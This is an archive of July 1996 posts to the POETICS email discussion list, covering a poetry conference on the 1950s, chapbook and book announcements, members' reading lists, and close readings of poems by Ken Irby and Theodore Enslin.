>Martz's that assumed nothing had changed in forty years and we could still
>talk about the giant breakthrough of FOR THE UNION DEAD for chrissake.
>
>The highlight (for me) was the attention now paid to Frank O'Hara, our new
>hero, as it were. It's been 20 years since I wrote my O'Hara book; in the
>midseventies, I was reprimanded by Don Allen and others for referring to
>Joe LeSueur as O'Hara's "lover"; the correct word then was "friend." As
>for race issues--so fascinating at this conference, especially Steve
>Evans's and Ben Friedlander's analyses--in the seventies, it was all one
>could do to get people to accept that these texts were passable as poems,
>much less discuss O'Hara on race. So I was delighted to hear these talks
>and delighted that the 50s are no longer considered "The Age of Olson" as
>they once were....
>
>I wish there had been more time for discussion--so many issues were simply
>left HANGING. After each and every talk I had dozens of questions as I'm
>sure we all did and so for future reference, I think it would be great to
>forget having keynoters at all and have fewer sessions, each with an hour
>of built in discussion. That's how you learn, I think.
>
>Again, poetry readings shouldn't be sandwiched in at 10.30 PM as a sort of
>afterthought. Either have them or not but if so, give them some
>prominence.
>
>A larger question I've discussed with Burt is the diversity issue. Are
>all poets of the 50s of equal interest? Do we make choices and have a
>point of view? Does anyone get to give readings just because he/she wrote
>poetry during the fifties? It can be argued either way but I did feel
>that to have Jerry Rothenberg's account of the making of POEMS FOR THE
>MILLENIUM followed by Louis Martz's talk which implied that the issues
>Jerry was discussing didn't so much as exist created a strange empty
>space. Burt's argument is that this diversity of points of view is
>valuable. I'd be curious to know how others felt about this.
>
>All in all, despite the horrible weather, awful food, lousy facilities and

>problems getting back and forth for those of us at the Bangor Inn, I
>thought it was a fabulous time, including the fabled argument I had with
>Barrett Watten at the latenight cash bar. We've got to keep arguing and
>not be too polite. That means not being so hyperpolite to dead poets
>either. Or in making even Allen Ginsberg a prophet.
>
>Finally: Kevin's fashion report was WONDERFUL. I was one of the few
>people present who knows Star Black well--she's a really old friend via
>Paul Monette and Roger Horwitz. Kevin's right: she absolutely won the
>fashion award and was also like a breath of fresh air in this sometimes
>hyperacademicized world. Star makes a living as a professional
>photographer; has covered lots of stories and made artist's books; she's
>now writing more poetry and is passionate about it. It was also great to
>have Geoff O'Brien, another non-academic, really fine writer around. And
>I loved Star's responses to
>things--you should get her to write them up.
>
>Ciao!
>
>Marjorie
>
>
>

↑ Index

32. Steve Evans

Re: chapbook 2 (North, Robinson, Ngai)

Mon 1 Jul 1996

Editor Beth Anderson has brought out another beautifully designed chapbook in her fledgling reference: press series.

The idea behind this terrific series is to bring together work by three poets who are at different stages in their careers, from just emerging to firmly established.

re: chapbook 2 publishes new poems by Charles North, Elizabeth Robinson, and Sianne Ngai. There is also a striking cover drawing by artist Renee Anderson.

Some of you no doubt saw re: chapbook 1 (1995), featuring Keith Waldrop, Jennifer Moxley, and Angela Littwin, also with a graphic by Renee Anderson.

This is an editorial project worth keeping up with!

Make out a check for $5.00 to
BETH ANDERSON

and mail it to
reference: press
154 Doyle Avenue
Providence RI 02906

↑ Index

33. Steve Evans

Robert Kocik/Andrew Levy Reading

Mon 1 Jul 1996

For those of you in or near or willing to drive
like wild to get to Providence, this Bastille
Day's eve...

Don't miss

Robert Kocik and Andrew Levy

on Saturday, 13 July at 8 p.m.

at the wonderful new loft space

of Patrick Phillips, 320 Lafayette Street

on the Providence / Pawtucket line

Both these writers are newly returned to the New York area after extended sojourns, Kocik in Paris and Levy in Chicago.

Both are poets engaged in prodigious poetic and epistemological projects, recent glimpses of which can be caught in Kocik's AUKSO (GAIN)--published as OBJECT 4 (Spring/Summer 1995)--and Levy's CURVE (O Books 1994).

Come for the poetry, stay for the poetics (party).

More information, including directions, backchannel
or call [redacted]

r i a t n m u
a t s u o o o s

↑ Index

34. James Brook
my stack, 2
Tue 2 Jul 1996

New to the list, old to books, I confess to reading the following in fits, starts, and restarts (thanks to Kevin Killian for inspiring me to click Reply):

Apollinaire, Lettres a Lou (one side of the correspondence--only a few of her letters survive--rich in poetry, emotion, and naughty bits)

Jens August Schade, People Meet and Sweet Music Fills the Heart (a great lyrical novel by a Danish poet woefully undertranslated into English-- there's only a small book of poems from Curbstone; this novel was translated for Dell in 1969 because it served as the basis for what appears to be a cheesey Dano-Porno flick of the era: it's compared to I Am Curious)

The indexing chapter in the Chicago Manual of Style (with snooze alarm)

Tom Raworth, Clean & Well Lit (which includes a lovely song to dedicated to Franco Beltrametti)

Henri Lefebvre, La Somme et le reste (autobiographical/philosophical/poetical reflections published in 1959)

A pile of books on San Francisco and California (research for a book on what we around here call The City, a place susceptible to smug alerts)

Please direct all questions about indexing elsewhere. . . .

Regards from afar,

James Brook

↑ Index

35. Daniel Salmon
Not a stack
Tue 2 Jul 1996

Jumping on the reading list band wagon - these are what I'm bogged down in at present.

Alastair Campbell 'Sidewinder'Never read his fiction before & i am quite enjoying it as a late night book. He is a Cook Island/New Zealand Poet/novelist.
Judith Binney 'Redemption Songs' Biography of Te Kooti (bloody hard work but it pays off)
J C Beaglehole 'The Life of Captain James Cook'
Hugh Kenner 'The Pound Era'
Conrad 'Nigger of the Narcissus'
From the Other Side of the Century (Bought through poetics - at last a way

to supplement limited choice auckland bookshops.
Beekeeping books & Japanese history.
& 2 books by Lowell Thomas 'The Sea Devil' & 'Raiders of the Deep' for a poetry project.
In the Penguin 60's Classics - for the next time i am stuck in a cafe
without a paer or company Henry James' 'The Lesson of the Master'
For light relief in all the non-fiction i just finished Mao II -Don de Lilo
& American Tabloid - James Ellroy, don't think I'll be visiting either of
them again - still better than sitting through Tarantino or Oliver Stone movies.
& Listening to the Iliad on talking book on long drives in the car.

Daniel.
Daniel Salmon

↑ Index

36. Ron Silliman
Irby's ear
Tue 2 Jul 1996

Keith,

The best way I know to demonstrate Irby's ear is by example. These are the opening lines (first section) of "Heredom," the first poem in Orexis (Station Hill, 1981):

lobe of opalescent glass
    broken in the irreplaceable lampshade

out of the shoulder, the corridor
    down the street the kids from junior high
        come by in t-shirts for the warmth of February
                pigeons overhead

    stamp and cry in their sleep

gathered, the branch of acacia
    fused through the green swirled
        Egyptian thorn milk waters
raised, itself, of the lost and gathered body of mastery

or all the highschool years again, unslept, review the annual faces
[over and over till they run green in the movies after the eyes are closed
and still as distant as they were in person

        the society of the ordinary
    highschool days, never left, will it?

against the society of the widow's son, those
who on the elephant's back
be freed?

the generation of mourning doves' cries
is from twilight in the mind
releasing and attracting us

I hope your screen reader doesn't muck with the line breaks (I had to insert one "[" myself).

Just following the progression of the 'l's 'o's 's's etc from the first two lines makes me dizzy with pleasure, noticing how "lampshade" sets up "stamp" later, all the way to the contrast in the final line between the liquid consonants of "releasing" versus the hard "tt" and "ct" in "attracting" (not even wanting to make a case, though I think there's one to be made, for the way that line mimics the cooing and feather settling sound of doves). I don't think anybody's done a better job than Kenneth at understanding how Olson used to the caesura in his breath defined line (and these lines seem to me not an instance of the projective in that simplistic organic metaphor, but rather each is a construct). I find "gathered, the branch of acacia" to be breathtaking in how that comma works. I've been reading the poem maybe twice a year now for 15 years and it never gets old.

You are right about Kenneth having been disappeared likewise. A little like Enslin, it has had to do with the fact that sometime around 1980 or so little magazines that sought to carry forward some sense of the Olsonian project just stopped cold, combined with Kenneth's return to Lawrence, KS, to take care of his mother (the widow of the above poem) during her last years and his own very reticent nature about putting his work forward. I spoke with him last about two years ago, when the veterans of the Free Speech Movement were searching out folks who had been active in the FSM at Berkeley in 1964 and Lowell Levant, a Berkeley poet of those years and friend of Irby's (and now a truck driver out of Union City), was on the list. Kenneth said he'd seen and talked to Ronald Johnson just once since his own return to Kansas, so it would appear that Kansas is a state one can indeed get lost in (Mr. Dole, please follow suit).

Station Hill/Tansy did a big collection of the late '70s poems, Call Steps: Plains, Camps, Statioins, Consistories, in 1992. Orexis is reprinted there. It's probably still available from SPD and I recommend it heartily.

Further note to the Oronians: it is very intriguing seeing the comments about, in particular, the talks given by Steve Evans and Ben Friedlander, but for the life of me, I cannot divine from any of the comments what was actually *said.*

(And Von Hallberg pulled that same stunt at an Oppen conference at UC San Diego about 10 years ago, declaring Oppen to be a "tedious" poet with onerous politics on a panel.)

Ron Silliman
[redacted]

↑ Index

37. Henry
Re: chapbook 2 (North, Robinson, Ngai)
Tue 2 Jul 1996

On Mon, 1 Jul 1996 22:14:43 -0400 Steve Evans said:
>Editor Beth Anderson has brought out another beautifully
>designed chapbook in her fledgling reference: press series.

Speaking of Beth Anderson: she'll be reading with Keith Waldrop at Native Gallery in Providence on August 15th, time to be announced (probably around 8 pm). Native Gallery is a new big space at 367 Charles St. Sponsored by the Poetry Mission. - Henry Gould

↑ Index

38. Loss Glazier
Re: my stack
Tue 2 Jul 1996

At 10:43 PM 7/1/96 +0100, you wrote:

Kevin, your annotations are just wooooooooooooonderful! -- Loss

↑ Index

39. Pritchett,Pat
Re: my stack
Tue 2 Jul 1996

Patrick Pritchett here:

Capital idea. My own list includes the following; which are being read in no particular order, or rather with Dr. Johnson's notion in mind of "read what you like:"

1. Descent of Alette - Alice Notley (Penguin)

2. The Human Abstract - Elizabeth Willis (Penguin)

3. The Green Lake Is Awake - Joseph Ceravolo (Coffee House). Many thanks to Joel Lewis and others who initiated discussion of Mr. C. and led me to him. He's marvelous!

4. Call Steps - Ken Irby (Station Hill). Met Ken recently here in Boulder. Very nice man. The work is pure delight.

5. Moon Palace - Paul Auster (Penguin)

6. A House White With Sorrow - Jennifer Heath (Rodent Press). Great new novel on Afghanistan.

7. The Cold of Poetry - Lyn Hejinian (Sun & Moon)

8. On The Name - Derrida (Stanford UP)

9. A History of the Arab Peoples - Albert Hourani (Belknap Harvard)

10. Skywatch - A book on clouds, storms, weather...

11. Ice Time - Re: climatology

12. The Kabbalah Unveiled - S.L. MacGregor Matthews (sic)

From: Kevin Killian
To: Multiple recipients of list POETICS
Subject: my stack
Date: Tuesday, July 02, 1996 12:47AM

<<File Attachment: HEADERS.TXT>>

William Northcutt, you had a good idea. Here's what I've been reading.

1. Bitter Blue by Jeremy Reed. Incidentally, thanks to all who backchannel me with info on Reed, especially Pierre Joris, Ira Lightman, Joel Lewis, Romana Huk, and Ken Edwards.

2. Portrait of a Lady by Henry James.

3. Autotoxaemia by Latif Harris. About six weeks ago Eddy Berrigan was looking for a job here in San Francisco and told me he went into this one store & the owner gave him a test, and it turned out it was the "questionnaire" Jack Spicer asked his students to fill out to apply to his 1957 "Magic" Workshop (it's printed in the back of the "Collected Books" of Spicer). Following up I went into the store and demanded to see the owner. That's how I met Latif Harris, and he gave me one of his books. Turns out he is the missing witness I've been seeking for all these years, the man who drove Jack Spicer to his last poetry reading at the Berkeley Conference (1965) and had the nerve to bundle him up in the car with the man JS hated, Lew Welch. P.S., good book! PSS>, Eddy did not get the job!

4. The Green Mile, by Stephen King. One of Steve's best.

5. Abigail Child, "Scatter Matrix." Thanks to the people at Segue for sending this to me (or was it to Small Press Traffic????)

6. "Heart of the Breath," by Jim Brodey. I'm supposed to write a review of this one, and it is so long. (Quite a bargain.)

7. "The Prince, the Showgirl and Me," by Colin Clark. At age 19 Colin Clark was the 3rd assistant director on the set of the Olivier/Marilyn Monroe film "The Prince and the Showgirl." This is his diary of the period.

8. "Sunshine Muse," by Peter Plagens (1974). Out of date by lots, but an interesting art history of California during the Cold War. Who was it recommended this book to me as a good place to get more information about Jay De Feo, the San Francisco painter whose life I am dramatizing as we speak?

9. From Outlaw to Classic, by Alan Golding. I have read this book before, but I wanted to read it again to see if I have anything to add to Golding's Laws of Canon Formation.

10. Angry Women in Rock, ed. Andrea Juno, this is the first book of a new press formed by one of the editors of the defunct ReSEARCH.

11. Learned and Leaved: a Tribute to Rosalie Moore-Moore was one of the Bay Area activist poets, like Lawrence Hart, whose death a few months ago inspired a bit of discussion here on this list. These Activist people really had a program, didn't they? A program, and a destiny. Alan Golding, how do they fit in to your ideas about Canon Formation?

--Kevin Killian

↑ Index

40. Edward Foster
NEW DOUG OLIVER BOOK
Tue 2 Jul 1996

New from Talisman:

Douglas Oliver's *Selected Poems*

ISBN: 1-883689-38-4, $10.50

Visa/Mastercard orders: [redacted]

↑ Index

41. Edward Foster
NEW LESLIE SCALAPINO BOOK
Tue 2 Jul 1996

New from Talisman:

Leslie Scalapino's *Green and Black: Selected Writings*

ISBN: 1-883689-36-8, $10.50

Visa/Mastercard: [redacted]

↑ Index

42. Edward Foster
NEW GEOFFREY O'BRIEN BOOK
Tue 2 Jul 1996

New from Talisman:

Geoffrey O'Brien's *Floating City: Selected Poems*

ISBN: 1-883689-38-4, $10.50
Visa/Mastercard orders: [redacted]

↑ Index

43. David Baratier
orno for pyros (aside
Tue 2 Jul 1996

Aldon mentioned that Marjorie "offered a brilliant reading of the differing ideologies and aesthetics in two widely circulated collections of photographs -- the infamous "Family of Man" exhibit and Robert Frank's collection of American photos published by Grove press -- Professor Perloff, "read" individual photos as well as the reception of the volumes as context against which to read Ginsberg, O'Hara and that ole gem "Love Calls Us to the Things of this World" -- This kind of paper is really exciting to me -- not an attempt to read the cultural past as a transparently available and stable entity, but looking at, how else to say it, what everyone was then looking at, as a means of deepening our discussions of the, hate to say it, poems themselves --" There are various books of poetry by Simon Perchik that brilliantly "read" these same exact photo's into poems which might be of interest. The Snowcat Poems (1981) work on Robert Frank's photos. The Gandolf Poems (1986) (and the book after, I forget the name) do a superb translation of the "Family of Man" set. The wild thing is the translation itself, how the punctuation is used as a codification process without direct (as Frye would say "radical" or copular) metaphor but rather a connatative associtional value that

Perchik builds throughout each poem to guide a readers understanding of the culmative affective utilization of the punctuation. For some reason, few folks seems aware of his work with constructing an intricate set (through series) of "unit values" for various typographical signs, "Family of Man" works,or even of his connection with Blackburn in the late 40's. I can get more publisher info if anyone is interested. Be well.

David Baratier

↑ Index

44. Keith Tuma

Re: Irby's ear

Tue 2 Jul 1996

A public thanks to Ron Silliman for the example of and commentary on Ken Irby's work. I'm sometimes surprised that we don't get more of this on the list, what with all the poets subscribed. More micro-analysis of technique, that is. It's one way to make the disappeared reappear. One test of value in a poetic mode is its possibilities for refinement and extension, no? I'm thinking of Basil Bunting's remarks about Pound having provided a box of tools, making it possible to go on, and not by simple mimicry or imitation. Similarly, I'm thinking right now about the ways it might be possible to speak of "the new sentence" in Harryette Mullen's _Muse & Drudge_, what it means that she's crossed the new sentence with idioms and stanzas derived from the blues, r&b, etc, forced thoughtfulness about the stanza as unit back onto formal practices identified and explored by RS and others (if I'm right about this). (The stanza/strophe of Toner or Xing is not at all Mullen's, it seems to me.)

Anyway, I for one would be grateful for more discussion of technique--and thanks again to Ron.

Keith Tuma

↑ Index

45. Mark Wallace

Quartermain, Cage, Beckett

Tue 2 Jul 1996

Dear Peter Quartermain:

Thanks very much for your interesting query about Cage and Beckett from several days ago. I'm only on e-mail about twice a week, so I'm sorry I couldn't get back to you sooner. In that particular post of mine that you quote, I think I was using the word "limitations" exactly as Charles Smith suggests I was (thanks, Charles), that is simply the unavoidable fact of having a consciousness

that can imagine a limited number of concerns, etc. Olson's quote has always seemed important to me--in my own new Haunted Baronet chapbook I echo it, somewhat more darkly as befits the contents of the chapbook, as "The form of limitations is history." But I agree with you, also, that "limitations" is a problematic word if understood in other ways--often, the "limitations" of a writer turn out, in critical work, simply to be the extent to which the poet is not doing what the evaluator wishes the poet was doing, i.e. the "limitations" are just as likely to be that of the critical evaluator as they are that of the work itself. In that sense I greatly enjoyed Louis Cabri's remark about bringing poetry to theory, rather than the other way around--that poetic practice can often enact a scathing criticism of the "limits" of literary theory is something that is often missed. But I still believe in the value of critical response, however limited most such responses turn out to be, and I take also your point that such critical response might find the word "limitations" to be itself limiting. Perhaps I would say that it would be better to talk about the "problems" (or "issues," perhaps) that a given writer creates in the mind of a reader, with the recognition that both the critic and the poet (and they can be one and the same!) speak from the perspective of their own "limits" in the Olsonian sense.

If I were to talk about the "problems" that Cage's work present for me, I think I would focus right now on the issue of what might be called "the dark side" in Cage's work. It's possible to argue that Cage is one of the most "optimistic" artists of the 20th century, yet what exactly would one mean by such an argument? Simply that from the perspective of his Buddhism, "worry" is a transitory, ego-ridden phenonmena. But is that really where Cage would land on such a problem? I don't think so, really. Rod Smith, who knew Cage and is certainly more of an expert on his work than I am, has often told me about Cage's reticence to talk about the "darkest" periods of his life, such as the 1940s, and I wonder about the significance of that possible "resistance" to darkness. According also to Rod, Cage did not like Beckett's work, because it was too relentlessly "dark." Yet I think the surface "optimism" of Cage's work is deceiving--one has only to think of Cage's almost total rejection of western music to recognize how much of the world he disliked--hated even--and how vehemently he hated it. It turns out that Cage's surface "acceptance" of any phenomena (any noise as music, etc) turns out to include a rejection of western cultural hierarchies in every conceivable guise, which means quite literally that he must have loathed almost everything around him, however "quietly" or "gently" (two cliched phrases about Cage that I can't stand--the man's work seems amazingly fierce and insistent, frankly). Indeed some things that he rejected perhaps seem insufficiently considered--is it in SILENCE that he speaks against jazz as simply repeating the same foreground/background (melody/harmony) as western classical structures (I don't have books here with me, and I certainly haven't read everything he

might have said about jazz)? In any case, even if his rejections seem in most cases valid to me, it's hard to imagine that a man who has spent so much time throwing off the burden of his whole culture does not understand what having a "dark side" would be. I'm tempted to echo Robert Duncan here and say "I prefer to take my John Cage dark."

When it comes to Beckett, the problem his work most presents for me is the same problem that the work of William Burroughs presented for me when I was writing my dissertation on it--how is one to read the relation between the fictional world created in the books and the world outside it that we all know to exist? Too many critics of Burroughs simply wanted to reduce his work to a representational description of human life, and then to dismiss it on the grounds that it was exaggerated (i.e. how does one take the Burroughs phrase "communication must become total before we can stop it"? literally? some other way?). A social realist critic like Lukacs would have read Beckett simply as the decadent expression of a "subjectivity," whereas Adorno, perhaps, would have seen in Beckett a series of social symptoms created by class consciousness, i.e. would have seen Beckett as successful on the grounds of his social criticism. But what's the truth of this really? That is, do we really read Beckett as social critic, or as limited subjectivity? Do we read the circular frustration his texts enact as existentialist comment on human absurdity irrespective of any social context? I think it's possible to say that all these things are legitimate possibilities arising from Beckett's work, and that all of them are potentially valuable, and that, finally, the genius of Beckett's work is the multiplicity of context to which it is responsive.

Another "problem" I find interesting in the work of both writers is the extent to which a dominant paradigm does or does not control the work which they produced. There is some level of theoretical sameness to all of what Cage does, and all of what Beckett does--their work, like say Wallace Stevens, seems to operate on modulations within dominant paradigms, whereas someone like Gertrude Stein seems much more comfortable operating in multiple paradigms. I think Cage has a greater level of multiple approaches than Beckett--he's both a musician and poet, so there's at least two approaches there at the very least (though Beckett wrote fiction and plays, etc). But I wonder the extent to which their artistic goals remain similar accross pieces, and the extent to which they differ, and the extent to which achieving such similarity or difference across a lifetime of production reveals to us the "limits" (Olsonian sense again) of various creative minds. Not a question I could possibly answer here.

But all this is more or less off the top of my head, as e-mail encourages, and perhaps has gone on too long already.

Mark Wallace /----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

46. Mark Roberts

AWOL: Poetry Stand at the Australian Book Fair (forwarded)

Tue 2 Jul 1996

> *Mime-Version: 1.0*
> *Date: Tue, 2 Jul 1996 07:02:17 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Poetry Stand at the Australian Book Fair*
>
> *Poetry Stand at the Australian Book Fair*
>
> *This year The Poetry Stand will, for the first time, appear at the Australian Book Fair (4-7 July, Darling Harbour Sydney). The Poetry Stand represents a world first initiative. This co-operative adventure will place emphasis on poetry and independent poetry publishers from NSW. The venture has been sponsored by the NSW Ministry for the Arts.*
>
> *The Poetry Stand will provide a showcase for poetry and highlight the quality and diversity of poetry published in NSW. It highlights the significance of poetry in a growing market and will bring poetry more attention from distributors, librarians, educators, curriculum advisers and the general public.*
>
> *As a special event one of Australia's brightest poets, Adam Aitken, will be launching his new book IN ONE HOUSE (A&R in association with Paper Bark Press).*
>
> *Publishers and organisations taking part include A&R in association with Paper Bark Press, AWOL, Hale & Iremonger, Five Islands Press, Heat, Hobo, Scarp, Southerly and many others*
>
> *For further details contact Heather Cam at Hale & Iremonger ph (02) 565 1955 or email the Poets Union Inc at* [redacted].
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]

> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

47. maria damon

Re: Jacquee la Mousse, ono etc

Tue 2 Jul 1996

okay, dodie, all points well taken. it's true, all generalizations are kind of odious (except for blanket staements about minnesota; actually, now that i'm back, one day at a time it's not terrible). i for my part admire anyone who has the presence of mind to live outside of institutional life...i cd never, for example, run a small business although i'd love to, say, do a cafe/bookstore or something. if i weren't an academic i'd probably be on disability or otherwise scraping by on govt benificence (sp?). can't deal w/ too many unknowns, too much responsibility, etc.

In message <v01520d00adfd9339a523@[205.134.228.103]> UB Poetics discussion
group writes:
> Okay, Maria, thanks for listening and not chewing me out. To add a note of
> compassion, I for one certainly would never be able to survive the hell of
> academic politics--and I think any woman with the strength to make it in
> that world deserves--I don't know what: admiration? Awe? But I'm
> sympathetic to Lisa Amber Philips' complaints. These blanket statements
> about what White Middle Class Women do and do not know are highly
> problematic. Also statements about young women. There are lots of young
> women poets (many of them black, asian, and lesbian) on the scene here in
> San Francisco, and, from what I've seen, they have a wide range of response
> to the question of whether or not they're oppressed as women in our
> "post"-feminist era. I'm particularly close to my intern who's 27, and her
> frustration over the position of women in the young hip world she operates

> in is a frequent topic of discussion-- particularly in terms of her acting
> out her sexual desires.
>
> Dodie

↑ Index

48. Steven Howard Shoemaker
Re: British Women Poets
Tue 2 Jul 1996

Just back in town after a long weekend and it will take me a while to catch up, but many thanks for all those fab suggestions. I've forwarded them all to my friend and she's wishing she had a whole course to devote to the subject rather than the lit intro. she'll be teaching. I wldn't be surprised if those intriguing names and titles eventually drive one of use to teach such a course. Oh, and at the risk of "boosterism" (Yo Keith), i can't resist relaying how impressed my friend has been w/ the knowledge and enthusiasm present in this forum. A similar call went out to the ModBrit list (more academic, and also, by default, fiction-oriented) and garnered pretty much no result at all. I've been thinking about the dangers of easy "consensus" Keith wrote about, but still, for myself, finding a lot of breadth and variety under the "alternative" umbrella when it comes to questions of who and what people are reading.

steve

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49. Steven Howard Shoemaker
Enslin
Tue 2 Jul 1996

Ron Silliman wrote:

I'll be on the lookout, as it were, for New Sharon's Prospect, which I don't know. And I agree that Enslin's neglect has much to do with his decision not to "hustle" his work. In fact, he seems almost a limit case in that regard, and interesting as such. From what I've seen his life in small town on the Maine coast is an impressively Thoreauvian one. Gathers mussels, clams and other fruits de mer, feasts on veggies from his meticulously tended garden, and pays very little attention to the mechanisms of literary fame.

But I have to say my experience of reading Enlin's longer work differs from Ron's. I'm about 350 pages into the 2 vol. *Ranger* without yet marking its "fading" into an excessively "restricted range of possibility."

That book wld be difficult to excerpt here for exemplary purposes, and I don't have time to type out a section from the "Autumnal Rime" sequence I mentioned earlier (but wld refer everyone to the Enslin number of Talisman). So I'll have to content myself w/ one of the small domestic poems from Music in the Key of C. (Behind the title is Schoenberg's remark that there is much good music still to be composed in that key.)

Where?

Buy I'll not take you home
unless we have been somewhere
or met and asked each other
where? There is the chance
that something like this happens
every day on streets impossible
in clutter where? the faceless
angels intersect suppose they do
and where the home is
bound to labyrinth so many threads
an asking noise of traffic desperate
to cease and darkens lightens
as a voice that sharpens
through it where?

To my ear at least this is very fine, and quite precise "musically," for lack of a better word (Enslin was trained as a composer). And since Ron mentions Irby's caesurae, I might point here to Enslin's use of an Oppen-derived "gap syntax" that I've tried to reproduce here (the exact spacing, that is) as far as my editing program will permit.

steve

> *Re the disappearance, to whatever degree, of Enslin (please spell that name right), Tarn, Schwerner et al, I would think this is a sign that, say, Sulfur and its predecessor Caterpillar have not had the lasting impact on the scene that its editor imagines. All of these are interesting poets, but their relation to Olson et al is at some distance (Armand really is part of the scene around NYC that originally led to Caterpillar--he, Antin, Rothenberg, Kelly et al either "too young" or too non-projective to get into the Allen anthology). In the case of Tarn and Enslin, they've lived at some distance from those key urban centers and really don't hustle their work as much as they might.*
>
> *Nathaniel was in Hoboken the other week for the big Russ/American thang and looked and sounded fine. His work with Grossman/Cape Goliard, which originally brought out the Mayan Letters, Mayakovsky's How are Verse*

> *Made, the first English translations of Victor Segalen and Nazim Hikmet, LZ's "A" 22/23, Henri Lefebvre's Dialectical Materialism, was one of the most intensely great editing projects of the past 40 years. It's impact is still vibrating through the culture.*
>
> *My favorite Enslin book is an early one: New Sharon's Prospect and Journals. The long poems seemed too much to me to be exercises on the line, fine for a hundred pages, but ultimately fading into a restricted range of possibility. For pure studies of the ear, my own preference has been, say, for Ken Irby, whose work does so much WITHIN the individual line.*
>
> *All best,*
>
> *Ron*

↑ Index

50. Steven Howard Shoemaker

Re: Enslin

Tue 2 Jul 1996

Dammit! I just did the same thing to Ron Silliman that I did to Burt K. another time. *I* wrote the stuff below, not Ron. His post is quoted after the "Steve" signoff. Sorry for the tangle.

steve

> *Ron Silliman wrote:*
>
> *I'll be on the lookout, as it were, for New Sharon's Prospect, which I don't know. And I agree that Enslin's neglect has much to do with his decision not to "hustle" his work. In fact, he seems almost a limit case in that regard, and interesting as such. From what I've seen his life in small town on the Maine coast is an impressively Thoreauvian one. Gathers mussels, clams and other fruits de mer, feasts on veggies from his meticulously tended garden, and pays very little attention to the mechanisms of literary fame.*
>
> *But I have to say my experience of reading Enlin's longer work differs from Ron's. I'm about 350 pages into the 2 vol. *Ranger* without yet marking its "fading" into an excessively "restricted range of possibility."*
>
> *That book wld be difficult to excerpt here for exemplary purposes, and I don't have time to type out a section from the "Autumnal Rime" sequence I mentioned earlier (but wld refer everyone to the Enslin number*

of Talisman). So I'll have to content myself w/ one of the small domestic poems from Music in the Key of C. (Behind the title is Schoenberg's remark that there is much good music still to be composed in that key.)

Where?

Buy I'll not take you home
unless we have been somewhere
or met and asked each other
where? There is the chance
that something like this happens
every day on streets impossible
in clutter where? the faceless
angels intersect suppose they do
and where the home is
bound to labyrinth so many threads
an asking noise of traffic desperate
to cease and darkens lightens
as a voice that sharpens
through it where?

To my ear at least this is very fine, and quite precise "musically," for lack of a better word (Enslin was trained as a composer). And since Ron mentions Irby's caesurae, I might point here to Enslin's use of an Oppen-derived "gap syntax" that I've tried to reproduce here (the exact spacing, that is) as far as my editing program will permit.

steve

Re the disappearance, to whatever degree, of Enslin (please spell that name right), Tarn, Schwerner et al, I would think this is a sign that, say, Sulfur and its predecessor Caterpillar have not had the lasting impact on the scene that its editor imagines. All of these are interesting poets, but their relation to Olson et al is at some distance (Armand really is part of the scene around NYC that originally led to Caterpillar--he, Antin, Rothenberg, Kelly et al either "too young" or too non-projective to get into the Allen anthology). In the case of Tarn and Enslin, they've lived at some distance from those key urban centers and really don't hustle their work as much as they might.

Nathaniel was in Hoboken the other week for the big Russ/American thang and looked and sounded fine. His work with Grossman/Cape Goliard, which originally brought out the Mayan Letters, Mayakovsky's How are Verse Made, the first English translations of Victor Segalen and Nazim

> *Hikmet, LZ's "A" 22/23, Henri Lefebvre's Dialectical Materialism, was one of the most intensely great editing projects of the past 40 years. It's impact is still vibrating through the culture.*
>
> *My favorite Enslin book is an early one: New Sharon's Prospect and Journals. The long poems seemed too much to me to be exercises on the line, fine for a hundred pages, but ultimately fading into a restricted range of possibility. For pure studies of the ear, my own preference has been, say, for Ken Irby, whose work does so much WITHIN the individual line.*
>
> *All best,*
>
> *Ron*

↑ Index

51. Don Cheney
and i thought my translations were out at third base
Tue 2 Jul 1996

I found a tiny book titled, "Modismos - Familiar English-Spanish Expressions" by Mrs. Anness & Mr. Boughton published in Mexico w/no publishing date (my guess is 1950's -- so probably 1961!).

Anyway, I love the English expressions that are used, such as:

"This cigar smells like a ten-center."

or

"I'd like to lick the stuffing out of him."

but the translation for

"He stormed around mad at everything and everybody."

as

"Parecio que habia fumado marihuana.
"Estaba engrifado."

makes me believe that it was published in the 50's and makes me wonder if the authors were Monty Python fans.

Don "Dinsdale" Cheney
[redacted]

(i didn't use diacritical marks as i didn't know how everybody's email browsers would handle them)

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52. **maria damon**
Re: perloff-watten
Tue 2 Jul 1996

i for one heard nothing about an impolite, engaged argument between perloff and watten. please recap, somebody, as it evidently concerns poetry and poetix. bests, maria d

↑ Index

53. **Robert Drake**
Re: and i thought my translations were out at third base
Tue 2 Jul 1996

such are landmines fr raw poetic ore... i recently found a copy ov "200 Colourful Expressions in English Language" by Sr. Miriam Azode (Onaivi Publishing, Nigeria), with such jems as:

"I never saw him as a _shrinking velvet_"
"The big row he had with Udo's family _unearthed the skeleton
in the cupboard_"
"I invented that statement _to save_ his force"
"If they do not _take time by the forelock_, they will miss their luck"

lbd

↑ Index

54. **Ron Silliman**
Ben Friedlander email address?
Wed 3 Jul 1996

Does anyone have a current email address for Ben Friedlander (Ben, are you reading this?)? The one I had bounced back as "user unknown."

Thanks,

Ron

↑ Index

55. **Nada Gordon**
Re: Ben Friedlander email address?
Wed 3 Jul 1996

> *Does anyone have a current email address for Ben Friedlander (Ben, are you reading this?)? The one I had bounced back as "user unknown."*

> *Thanks,*
>
> *Ron*

You can try this one: [redacted]. It worked sometime around last Hannukah.

:-) Nada (Gordon)

↑ Index

56. Schuchat
Re: my stack
Wed 3 Jul 1996

---

1. CONINGSBY, Benjamin Disraeli

2. ST.PETERSBURG, CRUCIBLE OF CULTURAL REVOLUTION, Katerina Clark

3. TRANSBLUENCY, Jones/Baraka

4. IN MEMORY OF MY THEORIES, Rod Smith

5. WALT WHITMAN'S AMERICA, David S. Reynolds

6. NEGOTIATING COOPERATION: THE UNITED STATES AND CHINA 1969-1989, Robert Ross

7. CLOSE TO ME & CLOSER...(THE LANGUAGE OF HEAVEN) and DESAMERE, Alice Notley

8. MAO & MATISSE, Ed Friedman

